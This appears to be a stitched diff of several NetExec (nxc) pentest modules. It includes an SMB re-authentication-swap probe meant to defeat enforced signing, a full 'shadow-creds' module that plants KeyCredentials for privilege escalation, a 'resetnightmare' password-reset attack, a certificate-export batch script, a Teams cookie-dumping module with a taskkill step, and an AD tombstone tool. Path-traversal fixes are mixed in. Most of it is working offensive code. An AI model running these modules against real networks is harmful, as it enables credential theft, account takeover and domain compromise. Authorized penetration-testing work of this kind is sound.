from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
class NXCModule:
"""
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
log in as one account, then re-authenticate as a different one on the same connection. That swap
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
allow or refuse it), so it is probed live.
https://blackfield.ch/blog/defeating-enforced-smb-signing/
"""
name = "reauth_swap"
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
STATUS_SUCCESS = 0x00000000
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
STATUS_ACCESS_DENIED = 0xC0000022
STATUS_LOGON_FAILURE = 0xC000006D
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
def options(self, context, module_options):
"""
PROBE_USER second account, must differ from the login account (required)
PROBE_PASS second account password
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
The second account is probed over NTLM; its privileges do not matter.
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
(in the login account's domain). A correct password never increments
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
Validate PROBE_USER on a single host before running wide.
"""
self.probe_user = module_options.get("PROBE_USER")
self.probe_pass = module_options.get("PROBE_PASS", "")
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
if not self.probe_user:
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
return False
if not self.probe_pass and not self.probe_nthash:
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
return False
def on_login(self, context, connection):
if self.probe_user.lower() == (connection.username or "").lower():
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
return
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
if not connection.signing:
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
return
try:
# fresh session so nxc's own connection is left untouched
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
try:
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
finally:
with contextlib.suppress(Exception):
new_conn.close()
except Exception as e:
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
return
if status == self.STATUS_SUCCESS:
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
elif status == self.STATUS_ACCESS_DENIED:
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
elif status == self.STATUS_LOGON_FAILURE:
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
else:
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
def reauth_as(self, smb, user, password, domain, nthash):
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
# Create NTLM Type1 message (challenge)
type1 = ntlm.getNTLMSSPType1("", domain)
blob = SPNEGO_NegTokenInit()
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
blob["MechToken"] = type1.getData()
setup = SMB2SessionSetup()
setup["Flags"] = 0
setup["SecurityMode"] = 1
setup["SecurityBufferLength"] = len(blob.getData())
setup["Buffer"] = blob.getData()
pkt = smb.SMB_PACKET()
pkt["Command"] = SMB2_SESSION_SETUP
pkt["Data"] = setup
ans = smb.recvSMB(smb.sendSMB(pkt))
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
return ans["Status"]
resp = SMB2SessionSetup_Response(ans["Data"])
try:
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
except Exception:
raw = resp["Buffer"]
type2 = raw[raw.index(b"NTLMSSP"):]
lm = nt = ""
if nthash:
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
nt = binascii.unhexlify(nthash)
# Create NTLM Type3 message (authentication)
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
blob2 = SPNEGO_NegTokenResp()
blob2["ResponseToken"] = type3.getData()
setup2 = SMB2SessionSetup()
setup2["Flags"] = 0
setup2["SecurityMode"] = 1
setup2["SecurityBufferLength"] = len(blob2.getData())
setup2["Buffer"] = blob2.getData()
pkt2 = smb.SMB_PACKET()
pkt2["Command"] = SMB2_SESSION_SETUP
pkt2["Data"] = setup2
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
return ans2["Status"]
+8 -3
View File
@@ -1,7 +1,9 @@
from os import makedirs
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from os.path import join, abspath
from os.path import join
from pathlib import Path
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.examples.secretsdump import RemoteOperations
@@ -73,8 +75,11 @@ class NXCModule:
# Formatting the destination filename
file_path = path.split("$")[-1].replace("/", "_")
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
dest_path = abspath(join(export_path, filename))
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
dest_path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in dest_path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
try:
with open(dest_path, "wb+") as file:
connection.conn.getFile("C$", path, file.write)
+1 -1
View File
@@ -2,7 +2,7 @@
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Refernece:
# Reference:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
+9 -6
View File
@@ -1,4 +1,3 @@
import sys
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
@@ -26,6 +25,7 @@ class NXCModule:
self.new_password = None
self.upn_user = None
self.upn_password = None
self.upn_nthash = None
def options(self, context, module_options):
"""
@@ -36,19 +36,22 @@ class NXCModule:
NEW_PASSWORD New password to set on TARGET
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
UPN_PASSWORD Cleartext password of UPN_USER
UPN_NTHASH NT Hash of UPN_USER
Examples:
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
"""
self.target = module_options.get("TARGET")
self.new_password = module_options.get("NEW_PASSWORD")
self.upn_user = module_options.get("UPN_USER")
self.upn_password = module_options.get("UPN_PASSWORD")
self.upn_password = module_options.get("UPN_PASSWORD", "")
self.upn_nthash = module_options.get("UPN_NTHASH", "")
if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
sys.exit(1)
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
return False
def resolve_account(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
@@ -85,7 +88,7 @@ class NXCModule:
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
kdc = self.connection.kdcHost or self.connection.host
try:
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
except (KerberosError, OSError) as e:
self.context.log.fail(f"Failed to request change-password TGT: {e}")
return None
+16 -16
View File
@@ -80,7 +80,10 @@ class NXCModule:
self.logger.fail("You need to specify a USER to run the task as")
return
if self.command_to_run.lower() == "certreq":
# certreq mode is decided from the original CMD here, because self.command_to_run is later
# reassigned to the batch path; the PFX download below is gated on this same flag
self.is_certreq = self.command_to_run.lower() == "certreq"
if self.is_certreq:
if self.ca_name is None:
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
return
@@ -96,21 +99,18 @@ class NXCModule:
setlocal enabledelayedexpansion
set "BASE={full_path_prefixed_file}"
certreq -new "%BASE%.inf" "%BASE%.req" > nul
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
certutil -user -addstore my "%BASE%.cer" > nul
set "HASH="
for /f "tokens=2 delims=:" %%A in ('
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
') do (
set "tmp=%%A"
set "tmp=!tmp: =!"
set "HASH=!tmp!"
)
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
if not exist "%BASE%.cer" exit /b 12
if "!HASH!"=="" (
exit /b 1
)
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
rem that one certificate, never a pre-existing certificate in the user's store
set "HASH="
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
if "!HASH!"=="" exit /b 13
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
certutil -user -repairstore my !HASH! > nul 2>&1
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
certutil -user -delstore my !HASH! > nul 2>&1
@@ -212,7 +212,7 @@ class NXCModule:
except Exception as e:
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
if self.ca_name and self.template_name:
if self.is_certreq:
dump_path = path.join(NXC_PATH, "modules/schtask_as")
if not path.isdir(dump_path):
makedirs(dump_path)
+249
View File
@@ -0,0 +1,249 @@
import json
from pathlib import Path
from cryptography.hazmat.primitives.serialization import NoEncryption
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.common.data.DNWithBinary import DNWithBinary
from dsinternals.common.data.hello.KeyCredential import KeyCredential
from dsinternals.system.DateTime import DateTime
from dsinternals.system.Guid import Guid
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Made by @NeffIsBack
Heavily inspired by the pyWhisker project by Shutdown:
https://github.com/ShutdownRepo/pywhisker
"""
name = "shadow-creds"
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
DEVICE_ID KeyCredential device ID; required for info and remove
JSONFILE JSON backup path; required for revert and optional for backup
Examples:
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
"""
self.target = module_options.get("TARGET", "").strip()
self.action = module_options.get("ACTION", "list").lower().strip()
self.device_id = module_options.get("DEVICE_ID")
self.jsonfile = module_options.get("JSONFILE")
if not self.target:
context.log.fail("TARGET is required")
return False
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
return False
if self.action in {"info", "remove"} and not self.device_id:
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
return False
if self.action == "revert" and not self.jsonfile:
context.log.fail("JSONFILE is required for ACTION=revert")
return False
def on_login(self, context, connection):
self.context = context
self.connection = connection
resp = connection.search(
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
)
resp_parsed = parse_result_attributes(resp)
if not resp_parsed:
context.log.fail(f"Account '{self.target}' was not found")
return
target_dn = resp_parsed[0]["distinguishedName"]
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
if self.action == "list":
self.list(self.parse_credentials(raw_values))
elif self.action == "add":
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
elif self.action == "info":
self.info(self.parse_credentials(raw_values))
elif self.action == "remove":
self.remove(target_dn, self.parse_credentials(raw_values))
elif self.action == "clear":
self.clear(target_dn, raw_values)
elif self.action == "backup":
self.backup(raw_values)
elif self.action == "revert":
self.revert(target_dn)
def parse_credentials(self, raw_values):
credentials = []
for raw_value in raw_values:
try:
# AD stores each KeyCredential as a textual DN-Binary value.
credentials.append(
(
raw_value,
KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
)
)
except Exception as e:
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
return credentials
def get_credential(self, credentials):
for raw_value, credential in credentials:
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
return raw_value, credential
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
return None
def list(self, credentials):
if not credentials:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
for _, credential in credentials:
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
def add(self, target_dn, is_computer):
try:
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
credential = KeyCredential.fromX509Certificate2(
certificate=certificate,
deviceId=Guid(),
owner=target_dn,
currentTime=DateTime(),
isComputerKey=is_computer,
)
device_id = credential.DeviceId.toFormatD().lower()
ldap_value = credential.toDNWithBinary().toString()
output_path = self.write_pfx(certificate, device_id)
except Exception as e:
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
return
try:
# Add one value instead of replacing the complete multi-valued attribute.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
self.context.log.display(f"Generated PFX retained at {output_path}")
return
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
self.context.log.highlight(f"PFX: {output_path}")
def write_pfx(self, certificate, device_id):
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
output_dir.mkdir(parents=True, exist_ok=True)
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
output_path.write_bytes(
serialize_key_and_certificates(
name=self.target.encode("utf-8"),
key=certificate.key.to_cryptography_key(),
cert=certificate.certificate.to_cryptography(),
cas=None,
encryption_algorithm=NoEncryption(),
)
)
return output_path
def info(self, credentials):
result = self.get_credential(credentials)
if result is None:
return
_, credential = result
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
for name, value in {
"Owner": credential.Owner,
"Device ID": credential.DeviceId.toFormatD().lower(),
"Version": hex(credential.Version.value),
"Key ID": credential.Identifier,
"Key hash": credential.KeyHash.hex(),
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
" Exponent (E)": credential.RawKeyMaterial.exponent,
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
"Usage": credential.Usage,
"Legacy usage": credential.LegacyUsage,
"Source": credential.Source,
"Custom key info": credential.CustomKeyInfo,
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
"Last logon time": credential.LastLogonTime,
"Creation time": credential.CreationTime,
}.items():
self.context.log.highlight(f"{name:<17} {value}")
def remove(self, target_dn, credentials):
result = self.get_credential(credentials)
if result is None:
return
raw_value, _ = result
try:
# Delete the exact raw value so neighboring credentials remain untouched.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
return
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
def clear(self, target_dn, raw_values):
if not raw_values:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
return
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
def backup(self, raw_values):
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
output_path.parent.mkdir(parents=True, exist_ok=True)
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
def revert(self, target_dn):
try:
key_credentials = []
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
if not isinstance(key_credential, (dict, str)):
raise ValueError("keyCredentials entries must be objects or strings")
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
except Exception as e:
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
except Exception as e:
self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
return
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
+6 -6
View File
@@ -1,8 +1,9 @@
import ntpath
import os
from os.path import join, getsize, exists
from pathlib import PurePosixPath
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -85,11 +86,10 @@ class NXCModule:
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
# replace \\ with underscores and ignore absolute path or path traversal attempts
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
if Path(user_output_dir).resolve() not in local_file_path.parents:
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
continue
context.log.debug(f"{local_file_path=}")
try:
+19 -14
View File
@@ -2,9 +2,10 @@ import json
import errno
from os.path import abspath, join, exists, splitext, getsize
from os import makedirs, remove, stat
from pathlib import Path, PurePosixPath
from pathlib import Path
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
@@ -127,6 +128,8 @@ class SMBSpiderPlus:
self.logger.debug(f"The folder {subfolder} does not exist.")
elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
elif "STATUS_NO_SUCH_FILE" in str(e):
self.logger.debug(f"The folder {subfolder} is empty.")
elif self.reconnect():
filelist = self.list_path(share, subfolder)
except NetBIOSTimeout as e:
@@ -170,13 +173,13 @@ class SMBSpiderPlus:
def get_file_save_path(self, remote_file):
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
Sanitizes each local path component and verifies containment in the output folder.
"""
self.logger.debug(f"Remote file: {remote_file}")
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
self.logger.debug(f"Raw path: {remote_file}")
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
if Path(self.output_folder).resolve() not in resolved.parents:
raise ValueError(f"Path traversal detected in {remote_file!s}")
self.logger.debug(f"Resolved path: {resolved}")
return str(resolved.parent), resolved.name
@@ -306,7 +309,12 @@ class SMBSpiderPlus:
return
# Check if the file is already downloaded and up-to-date.
file_dir, file_name = self.get_file_save_path(remote_file)
try:
file_dir, file_name = self.get_file_save_path(remote_file)
except ValueError as e:
self.logger.fail(str(e))
self.stats["num_get_fail"] += 1
return
download_path = join(file_dir, file_name)
needs_update_flag = False
if exists(download_path):
@@ -322,7 +330,7 @@ class SMBSpiderPlus:
try:
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
remote_file.open_file()
self.save_file(remote_file, share_name)
self.save_file(remote_file, share_name, download_path)
remote_file.close()
download_success = True
except SessionError as e:
@@ -339,7 +347,7 @@ class SMBSpiderPlus:
else:
self.stats["num_get_fail"] += 1
def save_file(self, remote_file, share_name):
def save_file(self, remote_file, share_name, download_path):
"""Reads the `remote_file` in chunks using the `read_chunk` method.
Each chunk is then written to the local file until the entire file is saved.
@@ -348,12 +356,9 @@ class SMBSpiderPlus:
# Reset the remote_file to point to the beginning of the file.
remote_file.seek(0, 0)
folder, filename = self.get_file_save_path(remote_file)
download_path = join(folder, filename)
# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{folder}'")
make_dirs(folder)
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
make_dirs(Path(download_path).parent)
try:
with open(download_path, "wb") as fd:
+8 -4
View File
@@ -6,16 +6,18 @@ from os.path import abspath, join
class NXCModule:
name = "teams_localdb"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
"""KILL Kill all Teams processes before retrieving the Cookies database. Default: False"""
self.kill = module_options.get("KILL", "false").lower() == "true"
def on_admin_login(self, context, connection):
context.log.display("Killing all Teams process to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
if self.kill:
context.log.display("Killing all Teams processes to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
@@ -33,6 +35,8 @@ class NXCModule:
context.log.debug(str(e))
context.log.highlight("Found Cookie file in path " + path)
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
if not self.kill:
context.log.display("Use -o KILL=True to terminate Teams before retrieving the Cookies database")
if found == 0:
context.log.display("No cookie file found in Users folder")
+1 -1
View File
@@ -97,7 +97,7 @@ class NXCModule:
if ready:
reply = sock.recvfrom(120)[0]
# Extract RID, hash and "salt" if succesful.
# Extract RID, hash and "salt" if successful.
if len(reply) == 68:
salt = reply[:48]
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
+134
View File
@@ -0,0 +1,134 @@
from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""Module by Fabrizzio: @Fabrizzio53"""
name = "tombstone"
description = "Query, restore and delete AD objects"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
ACTION Specify the action to execute: query, restore or delete. Default is query.
ID The id of which object you want to restore.
DN The DN of which object you want to delete.
Usage:
nxc ldap $DC-IP -u Username -p Password -M tombstone
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
"""
self.action = module_options.get("ACTION", "query").lower()
self.id = module_options.get("ID", "")
self.delete_dn = module_options.get("DN", "")
if self.action == "restore" and not self.id:
context.log.fail("ID is necessary when calling tombstone with the restore action")
return False
if self.action == "delete" and not self.delete_dn:
context.log.fail("DN is necessary when calling tombstone with the delete action")
return False
def on_login(self, context, connection):
if self.action == "query":
self.query_deleted_objects(context, connection)
elif self.action == "delete":
self.delete_object(context, connection)
elif self.action == "restore":
self.restore_deleted_object(context, connection)
else:
context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
def show_deleted_control(self):
return Control().setComponents("1.2.840.113556.1.4.417", True)
def search_deleted_objects(self, connection):
return parse_result_attributes(
connection.search(
baseDN=f"CN=Deleted Objects,{connection.baseDN}",
searchFilter="(isDeleted=TRUE)",
attributes=[],
searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
)
)
def restore_deleted_object(self, context, connection):
object_dn = ""
original_dn = ""
context.log.highlight(f"Trying to find object with given id {self.id}")
context.log.debug("Search Filter=(isDeleted=TRUE)")
context.log.highlight("")
for entries in self.search_deleted_objects(connection):
if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
continue
if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
context.log.highlight("")
object_dn = entries.get("distinguishedName", "")
original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
break
if not original_dn:
context.log.fail(f"The object was not found with id {self.id}.")
return False
try:
connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
context.log.highlight(f"Success {original_dn} restored")
except LDAPSessionError as e:
context.log.fail(f"Error at trying to recover the object {e}")
return False
def delete_object(self, context, connection):
context.log.highlight(f"Trying to delete {self.delete_dn}")
try:
connection.ldap_connection.delete(dn=self.delete_dn)
context.log.highlight("")
context.log.highlight(f'Success, "{self.delete_dn}" deleted')
except LDAPSessionError as e:
context.log.highlight("")
context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
def query_deleted_objects(self, context, connection):
context.log.debug("Search Filter=(isDeleted=TRUE)")
resp_parsed = self.search_deleted_objects(connection)
if not resp_parsed:
context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
return False
resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
